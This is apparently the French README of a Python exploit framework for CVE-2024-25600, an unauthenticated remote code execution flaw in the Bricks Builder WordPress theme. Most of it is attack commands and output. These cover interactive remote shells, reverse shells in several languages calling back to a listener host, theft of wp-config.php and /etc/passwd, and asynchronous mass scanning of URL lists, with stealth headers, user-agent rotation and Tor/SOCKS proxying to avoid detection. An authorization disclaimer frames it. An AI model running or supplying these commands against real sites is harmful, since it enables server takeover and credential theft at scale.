
CVE-2024-25600 - Exploit RCE non authentifié pour le thème WordPress Bricks Builder. Cadre d'exploitation avancé avec shell interactif, shells inversés, téléchargement/téléversement de fichiers, analyse asynchrone, mode furtif, prise en charge de proxy et analyse de vulnérabilité multi-thread. Pour tests de sécurité autorisés uniquement.
Outil d'évaluation de sécurité autorisé pour CVE-2024-25600
Auteur : Sudeepa Wanigarathna · Outil : BricksRCE Exploiter v1.0
Script principal : cve-2024-25600.py

[!IMPORTANT] Utilisation autorisée uniquement. Cet outil est destiné à la recherche en sécurité, à l'éducation et aux tests de systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
CVE-2024-25600 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans le thème WordPress Bricks Builder. La gestion incorrecte des entrées contrôlées par l'utilisateur dans le point de terminaison REST render_element permet à des attaquants non authentifiés d'exécuter des commandes PHP/système arbitraires sur les installations affectées.
BricksRCE Exploiter (cve-2024-25600.py) est un outil d'évaluation Python complet destiné aux professionnels de la sécurité autorisés pour :
| Attribut | Valeur |
|---|---|
| Identifiant CVE | CVE-2024-25600 |
| CVSS | 9.8 (Critique) |
| Vecteur d'attaque | Réseau — non authentifié |
| Impact | Exécution de code à distance complète, compromission de la confidentialité / intégrité / disponibilité |
| Produit concerné | Thème WordPress Bricks Builder |
| Versions concernées | Bricks ≤ 1.9.6 (corrigé dans 1.9.6.1+) |
| Type de vulnérabilité | Exécution de code à distance non authentifiée |
| CWE | CWE-94 (Mauvais contrôle de la génération de code) |
| Point d'accès | Méthode |
|---|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
render_element falsifiée avec une charge utile d'élément malveillant| Capacité | Description |
|---|---|
| Détection de vulnérabilité | Confirme l'exécution de code à distance via une sonde contrôlée à base de marqueurs |
| Extraction de nonce | Découverte de nonce multi-méthode (scripts, source de page, meta, REST) |
| Détection de version | Identifie la version de Bricks Builder depuis CSS / readme / REST |
| Shell interactif | REPL complet avec historique, autocomplétion et transfert de fichiers |
| Mode commande unique | Exécute une commande et se termine (adapté aux scripts) |
| Aides pour shell inverse | Génère des shells inverses bash / nc / Python / PHP / Perl / Ruby |
| Extraction de wp-config | Tente de localiser et lire wp-config.php |
| Scanner de masse | Scan multi-cibles asynchrone ou threadé depuis une liste d'URL |
| Capacité | Description |
|---|---|
| Limitation de débit | Délai configurable entre les requêtes |
| Logique de réessai | Backoff exponentiel en cas de timeout et d'erreurs de connexion |
| Rotation du User-Agent | Empreintes de navigateur aléatoires par requête |
| Mode furtif | En-têtes Accept-Language / Accept-Encoding randomisés |
| Support proxy | HTTP, HTTPS, SOCKS5 / SOCKS5h |
| Double point de terminaison | Préfère wp-json, rest_route, ou les deux |
| Mode forcé | Ignore la pré-vérification et tente l'exploitation directement |
| CLI enrichie | Barres de progression, tableaux et panneaux colorés via Rich |
| Capacité | Description |
|---|---|
| Export JSON / TXT | Sauvegarde des résultats de scan et des cibles vulnérables |
| Historique des commandes | Journalisation optionnelle des commandes exécutées |
| Journalisation fichier | bricks_rce.log persistant plus chemins de journal personnalisés |
pipgit clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows : venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # optionnel — support proxy SOCKS5
Remplacez
https://target.examplepar une cible de laboratoire ou autorisée uniquement.
# Shell interactif
python3 cve-2024-25600.py -u https://target.example
# Commande unique
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# Scan de masse
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# Détection de version
python3 cve-2024-25600.py -u https://target.example --detect-version
# Via proxy Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
Tous les exemples utilisent le script principal :
cve-2024-25600.py
python3 cve-2024-25600.py --help
Ouvre un shell interactif RCE après avoir confirmé que la cible est vulnérable.
python3 cve-2024-25600.py -u https://target.example
Flux de travail :
--force)python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
Sauvegarder la sortie de la commande dans un fichier :
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
# Charge utile par défaut basée sur les exceptions PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# Charge utile basée sur system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
python3 cve-2024-25600.py -u https://target.example --detect-version
Combiner avec une commande :
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
Sauvegardé sous wp-config_<cible>.txt en cas de succès.
# Terminal 1 — écouteur
nc -lvnp 4444
# Terminal 2 — shell inverse bash
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
Tous les types de shell inverse supportés :
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
# targets.txt — une URL par ligne
python3 cve-2024-25600.py -f targets.txt
Avec threads, délai, furtivité et sortie JSON :
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
Scan synchrone (pool de threads) au lieu d'asynchrone :
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
Scan de masse silencieux :
python3 cve-2024-25600.py -f targets.txt -q -o results.json
# Les deux points de terminaison (par défaut)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# Uniquement /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# Uniquement /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
# UA personnalisé
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# Désactiver la rotation aléatoire du UA
python3 cve-2024-25600.py -u https://target.example --no-random-ua
# Proxy HTTP (ex. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# Proxy SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (DNS via proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
# Activer la vérification du certificat SSL (désactivée par défaut)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
# Sauvegarder les résultats de scan en JSON
python3 cve-2024-25600.py -f targets.txt -o results.json
# Sauvegarder les résultats de scan en TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt
# Fichier journal d'application personnalisé
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# Journaliser les commandes exécutées
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
# Journalisation verbeuse / debug
python3 cve-2024-25600.py -u https://target.example -v
# Mode silencieux (sortie minimale)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
Après avoir démarré avec -u (sans --cmd / --reverse-shell) :
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
| Argument | Description |
|---|---|
-u, --url | URL de la cible unique |
-f, --file | Fichier contenant les URL cibles (une par ligne) |
| Argument | Défaut | Description |
|---|---|---|
-t, --threads | 10 | Workers concurrents pour les scans de masse |
--delay | 0.5 | Délai entre les requêtes (secondes) |
--timeout | 15 | Délai d'expiration des requêtes HTTP (secondes) |
--max-retries | 3 | Tentatives de réessai en cas d'échec |
--force | off | Ignorer la vérification de vulnérabilité |
--sync | off | Utiliser un pool de threads au lieu d'asynchrone |
| Argument | Description |
|---|---|
--user-agent | Chaîne User-Agent personnalisée |
--no-random-ua | Désactiver la rotation du User-Agent |
--proxy | URL du proxy (http://, https://, socks5://, socks5h://) |
--stealth | Activer le mode furtif (en-têtes aléatoires + délais) |
--endpoint | json | rest_route | both (défaut : both) |
| Argument | Description |
|---|---|
--cmd | Exécuter une commande unique puis quitter |
--payload | Type de charge utile : php (défaut) ou system |
--reverse-shell | Type de shell : bash, nc, python, php, perl, ruby |
--lhost | Hôte de l'écouteur pour le shell inverse |
--lport | Port de l'écouteur pour le shell inverse |
--extract-wp-config | Tenter d'extraire wp-config.php |
--detect-version | Détecter la version de Bricks Builder |
--save-output | Sauvegarder la sortie de la commande unique dans un fichier |
| Argument | Description |
|---|---|
-o, --output | Fichier de résultats (.json ou .txt) |
--log-file | Chemin personnalisé pour le journal détaillé |
--command-log | Journaliser les commandes exécutées dans un fichier |
-v, --verbose | Journalisation de débogage |
-q, --quiet | Sortie console minimale |
--verify-ssl | Activer la vérification du certificat SSL (désactivée par défaut) |
Lors de l'exploitation d'une cible unique sans --cmd ou --reverse-shell, un shell interactif s'ouvre :
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
| Commande | Description |
|---|---|
exit | Quitter le shell |
help | Afficher l'aide |
clear | Effacer l'écran |
download [remote] | Télécharger un fichier distant (transfert base64) |
upload [local] [remote] | Uploader un fichier local vers la cible |
php [cmd] | Exécuter via la charge utile PHP (par défaut) |
system [cmd] | Exécuter via la charge utile system() |
~/.bricks_rce_historyPanneaux, barres de progression et tableaux de résultats enrichis via Rich :
[*] Test : https://target.example
[+] https://target.example est vulnérable !
[+] Shell interactif ouvert avec succès
| Métrique | Description |
|---|---|
| Total traité | URL scannées |
| Réussi | Confirmé vulnérable |
| Échoué | Non vulnérable / inaccessible |
| Vulnérables trouvés | Nombre de cibles RCE confirmées |
| Commandes exécutées | Nombre total d'exécutions RCE |
| Temps écoulé | Durée du scan (temps réel) |
-o results.json){
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
| Fichier | Objectif |
|---|---|
bricks_rce.log | Journal d'application par défaut en mode ajout |
--log-file CHEMIN | Gestionnaire de journal personnalisé supplémentaire |
--command-log CHEMIN | Piste d'audit des commandes exécutées |
| Symptôme | Que faire |
|---|---|
| Nonce non trouvé | Confirmer que Bricks est actif ; essayer -v ; s'assurer que la page d'accueil se charge |
| Cible non vulnérable | Vérifier Bricks ≤ 1.9.6 ; essayer --force ; vérifier les deux points de terminaison |
| Timeouts de connexion | Augmenter --timeout / --max-retries ; vérifier le proxy |
| Limité par débit (429) | Augmenter --delay ; activer --stealth |
| Erreurs SSL | Par défaut, la vérification est désactivée ; utiliser --verify-ssl uniquement si nécessaire |
| Instabilité asynchrone | Utiliser --sync pour le scan threadé |
| Échec du shell inverse | Confirmer que l'écouteur est actif ; essayer d'autres types de shell (python, nc) |
| Sortie de commande vide | La commande a peut-être réussi sans stdout ; essayer echo test |
| wp-config non trouvé | Les chemins varient selon l'hôte ; utiliser le shell interactif avec find / cat personnalisé |
# Vérification verbeuse d'une cible unique
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# Via Burp pour inspection des requêtes
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# Préférer un point de terminaison spécifique
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Dépendances Python
├── README.md # Ce fichier
├── bricks_rce.log # Journal d'exécution (généré)
└── venv/ # Environnement virtuel local (optionnel, non commité)
Ce projet est fourni en l'état pour la recherche défensive en sécurité et les tests d'intrusion autorisés.
En utilisant ce logiciel, vous acceptez que :
Si vous découvrez cette vulnérabilité dans des environnements de production que vous ne possédez pas, suivez les pratiques de divulgation responsable et coordonnez-vous avec le propriétaire du site / l'équipe de sécurité de Bricks Builder.
L'accès non autorisé à des systèmes informatiques est un crime fédéral.
| Rôle | Nom |
|---|---|
| Auteur de l'outil | Sudeepa Wanigarathna |
| CVE | CVE-2024-25600 |
| Outil | BricksRCE Exploiter v1.0 |
| Script principal | cve-2024-25600.py |
| Licence | MIT |
Licence MIT
Copyright (c) 2024–2026 Sudeepa Wanigarathna
Par la présente, une autorisation est accordée, gratuitement, à toute personne obtenant une copie
de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter
le Logiciel sans restriction, y compris sans limitation les droits
d'utiliser, de copier, de modifier, de fusionner, de publier, de distribuer, de sous-licencier et/ou de vendre
des copies du Logiciel, et d'autoriser les personnes auxquelles le Logiciel est
fourni à le faire, sous réserve des conditions suivantes :
L'avis de droit d'auteur ci-dessus et cet avis d'autorisation doivent être inclus dans toutes
les copies ou parties substantielles du Logiciel.
LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU
IMPLICITE, Y COMPRIS MAIS SANS S'Y LIMITER LES GARANTIES DE QUALITÉ MARCHANDE,
D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON.
Pour tests de sécurité autorisés uniquement.